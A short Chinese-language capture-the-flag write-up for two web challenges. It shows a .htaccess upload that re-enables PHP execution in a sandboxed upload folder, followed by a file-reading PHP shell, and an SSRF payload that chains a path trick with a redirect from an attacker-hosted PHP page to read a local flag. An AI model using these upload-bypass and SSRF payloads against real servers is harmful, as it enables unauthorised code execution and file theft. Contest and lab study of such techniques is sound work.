津门杯 Web
UploadHub
题目给出源码供我们分析。其中重要的是apache2.conf文件
<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
php_flag engine off
</Directory>
发现了在配置层禁止了upload沙盒解析php。
在后面发现了允许.htaccess上传。且AllowOverride为All。确定为.htaccess利用。
配置文件的<Directory>晚于htaccess执行。
测试发现<file>标签优先级比Directory高。
上传.htaccess
<Files "*.php">
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
php_flag engine on
</Files>
上传shell.php
<?php readfile('/flag'); ?>
这里有个坑,每次传 php文件都需要先传一次.htaccess。
GoOSS
这道题是golang的代码审计。
大致思路是通过302跳转到本地80端口的php文件下读取flag
通过参考
所以可以通过
{"url":"http://127.0.0.1:1234//ip/.."}
来ssrf
vps上写
<?php
header("Location: http://127.0.0.1/index.php?file=/flag");
?>
然后ssrf可以获得flag